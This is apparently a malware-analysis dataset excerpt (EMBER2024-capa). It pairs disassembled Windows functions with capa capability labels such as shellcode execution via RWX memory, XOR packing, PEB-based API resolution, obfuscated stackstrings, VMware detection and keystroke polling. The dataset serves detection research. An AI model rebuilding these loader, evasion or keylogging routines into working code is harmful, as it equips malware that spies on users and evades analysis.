joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401374
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x8c]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401393
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x401387
add esi, 0x10000
push esi
mov eax, 0x403011
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012dc
mov dword [0x4030f5], eax
push 0x40300c
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4013d7
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4013e8
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4013fc
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x40140a
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x401426
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.004011cf
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401479
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4014ef
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b8b
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x40119a
push dword [ebp + 0xc]
call fcn.00401168
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x40175a
add eax, dword [ebp + 8]
call eax
leave
ret 8

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x761a3126
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x150176d8
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401874
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x401949
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x401949
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x401949
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x4018cf
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x401949
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401914
test dl, dl
je 0x401910
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401914
add ecx, 2
add eax, 2
test dl, dl
jne 0x4018f4
xor eax, eax
jmp 0x401919
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40192b
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x401936
inc esi
cmp esi, ebp
jae 0x401949
mov edx, dword [esp + 0x10]
jmp 0x4018ea
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8

Function at 0x401bad
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x401bb8
xor eax, eax
ret
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x40
jb 0x401bcc
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x401bd0
xor eax, eax
pop esi
ret
push edi
mov edi, dword [ecx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x401c09
cmp dword [edi + ecx], 0x4550
jne 0x401c09
mov eax, 0x14c
cmp word [edi + ecx + 4], ax
jne 0x401c09
test byte [edi + ecx + 0x16], 2
je 0x401c09
movzx eax, word [edi + ecx + 0x14]
mov edx, 0xe0
cmp ax, dx
jae 0x401c0e
pop edi
xor eax, eax
pop esi
ret
push ebx
add eax, 0xffffff20
movzx ebx, ax
add ebx, edi
movzx edi, word [edi + ecx + 6]
add ebx, ecx
xor edx, edx
test edi, edi
jle 0x401c4a
xor eax, eax
jmp 0x401c2d
lea eax, [eax + eax*4]
mov ecx, dword [ebx + eax*8 + 0x10c]
add ecx, dword [ebx + eax*8 + 0x108]
cmp ecx, esi
ja 0x401c53
inc edx
movzx eax, dx
cmp eax, edi
jl 0x401c2d
pop ebx
pop edi
mov eax, 1
pop esi
ret
pop ebx
pop edi
xor eax, eax
pop esi
ret
Function at 0x401c59
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x401c91
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x401c9f
add edx, 0x20
cmp eax, edx
jne 0x401cb0
test bx, bx
je 0x401ce5
add esi, 2
add edi, 2
jmp 0x401c81
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x401cbe
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x401ccc
add edx, 0x20
sub ecx, edx
je 0x401ce5
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x401c7a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x401cfe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x401dd7
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x401dd7
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x401dd7
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x401d5d
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x401dd7
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401da2
test dl, dl
je 0x401d9e
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401da2
add ecx, 2
add eax, 2
test dl, dl
jne 0x401d82
xor eax, eax
jmp 0x401da7
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401db9
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x401dc4
inc esi
cmp esi, ebp
jae 0x401dd7
mov edx, dword [esp + 0x10]
jmp 0x401d78
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
Function at 0x401df3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x48
push ebx
push ebp
push esi
mov esi, dword [esp + 0x58]
push edi
test esi, esi
je 0x401f1b
xor eax, eax
mov word [esp + 0x54], ax
mov byte [esp + 0x38], al
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x65006b
mov dword [esp + 0x44], 0x6e0072
mov dword [esp + 0x48], 0x6c0065
mov dword [esp + 0x4c], 0x320033
mov dword [esp + 0x50], 0x64002e
mov dword [esp + 0x54], 0x6c006c
mov dword [esp + 0x2c], 0x4d746547
mov dword [esp + 0x30], 0x6c75646f
mov dword [esp + 0x34], 0x6e614865
mov dword [esp + 0x38], 0x41656c64
mov dword [esp + 0x14], 0x65657246
mov dword [esp + 0x18], 0x7262694c
mov dword [esp + 0x1c], 0x797261
mov dword [esp + 0x20], 0x74726956
mov dword [esp + 0x24], 0x466c6175
mov dword [esp + 0x28], 0x656572
call fcn.00402055
add esp, 4
mov ebx, eax
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.00401f27
mov ebp, eax
test ebp, ebp
je 0x401f1b
lea eax, [esp + 0x10]
push eax
push ebx
call fcn.00401f27
mov edi, eax
test edi, edi
je 0x401f1b
lea eax, [esp + 0x1c]
push eax
push ebx
call fcn.00401f27
mov ebx, eax
test ebx, ebx
je 0x401f1b
mov ecx, dword [esi + 0x3c]
mov eax, 0x2000
test word [ecx + esi + 0x16], ax
je 0x401ef7
mov eax, dword [ecx + esi + 0x28]
test eax, eax
je 0x401ef7
push 0
push 0
push esi
add eax, esi
call eax
push edi
push ebp
push esi
call fcn.00402008
add esp, 0xc
push 0x8000
push 0
push esi
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x48
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x48
ret 4

Function at 0x401f27
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x401ffc
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x401ffc
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x401ffc
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x401f82
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x401ffc
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401fc7
test dl, dl
je 0x401fc3
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401fc7
add ecx, 2
add eax, 2
test dl, dl
jne 0x401fa7
xor eax, eax
jmp 0x401fcc
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401fde
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x401fe9
inc esi
cmp esi, ebp
jae 0x401ffc
mov edx, dword [esp + 0x10]
jmp 0x401f9d
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
Function at 0x402055
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x40208d
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x40209b
add edx, 0x20
cmp eax, edx
jne 0x4020ac
test bx, bx
je 0x4020e1
add esi, 2
add edi, 2
jmp 0x40207d
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x4020ba
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x4020c8
add edx, 0x20
sub ecx, edx
je 0x4020e1
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x402076
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x40b148
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x40b166
mov eax, 0x4df890
push eax
push 1
mov ebx, 0x42eef0
call fcn.0042e866
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40b190
mov eax, 0
jmp 0x40b204
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x40b1f1
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40b1da
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x40b1c9
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40b1ba
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
mov esp, ebp
pop ebp
ret 4
Function at 0x427ae3
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 4]
mov eax, dword [ebp - 4]
jmp 0x427b1a
mov esp, ebp
pop ebp
ret
Function at 0x43c1f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cf2cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c3729
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x43c272
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c14e0
mov eax, dword [eax]
push 0x53ae78
push eax
call fcn.004b2aa4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c39b4
test bl, bl
je 0x43c272
push 0x53ae78
lea ecx, [esp + 0xc]
call fcn.004c3d44
push 0x53ae84
lea ecx, [esp + 0xc]
call fcn.004c3d44
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x43c2ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c39b4
jmp 0x43c379
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x43c332
lea edx, [esp + 0x7c]
push 0x53ae80
push edx
call fcn.004b2aa4
add esp, 8
test eax, eax
je 0x43c332
lea eax, [esp + 0x7c]
push 0x53ae7c
push eax
call fcn.004b2aa4
add esp, 8
test eax, eax
je 0x43c332
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x43c2c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c39b4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x43cb70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x43cbd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x43cbe0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cf34b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x54c368]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x43cd18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x43cc46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c39b4
xor eax, eax
jmp 0x43cd8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c3af1
push esi
lea ecx, [esp + 0xc]
call fcn.004c3d80
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x43cd6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push bind
call fcn.0043cb70
test eax, eax
jne 0x43cd6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push bind
mov ecx, edi
call fcn.0043cb70
test eax, eax
jne 0x43cd6d
lea eax, [esp + 0x14]
push 0x53ae94
push eax
call fcn.004b3bf0
mov esi, eax
add esp, 8
test esi, esi
jne 0x43cd4c
lea ecx, [esp + 0x14]
push 0x53ae90
push ecx
call fcn.004b3b70
mov esi, eax
add esp, 8
test esi, esi
jne 0x43cd4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x43cd4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c3aa1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x43cc5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c39b4
xor eax, eax
jmp 0x43cd8f
mov byte [esi], 0
push 0x53ae8c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c39b4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x44d590
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x44d5fe
cmp si, 0x69
ja 0x44d5fe
add esi, 0xffd0
cmp si, 0x11
je 0x44d5ce
push 0x11
call edi
test ax, ax
jge 0x44d5ce
or esi, 0x2000
cmp si, 0x10
je 0x44d5e3
push 0x10
call edi
test ax, ax
jge 0x44d5e3
or esi, 0x4000
cmp si, 0x12
je 0x44d5f8
push 0x12
call edi
test ax, ax
jge 0x44d5f8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x44d60b
mov esi, 0xbd
jmp 0x44d5bf
cmp si, 0x6e
jne 0x44d618
mov esi, 0xbe
jmp 0x44d5bf
cmp si, 0x6f
jne 0x44d5b9
mov esi, 0xbf
jmp 0x44d5bf

Function at 0x44f1e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x55cbf0]
xor edx, edx
cmp eax, edx
jne 0x44f206
xor eax, eax
mov byte [eax + 0x55caf0], al
inc eax
cmp eax, 0x100
jl 0x44f1ee
mov dword [0x55cbf0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x55caf0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x44f297
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x44f26a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x44f238
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x44f310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x44f363
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x44f34a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4563c0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x456558
cmp ebp, ebx
jle 0x456558
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x45641e
dec eax
or eax, 0xfffffff8
inc eax
je 0x456425
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x456434
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x45643b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004c36f5
add esp, 4
cmp eax, ebx
je 0x45645c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004c36f5
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x45654e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x456535
mov al, byte [edx]
cmp al, 0xc0
jbe 0x456521
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x456516
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
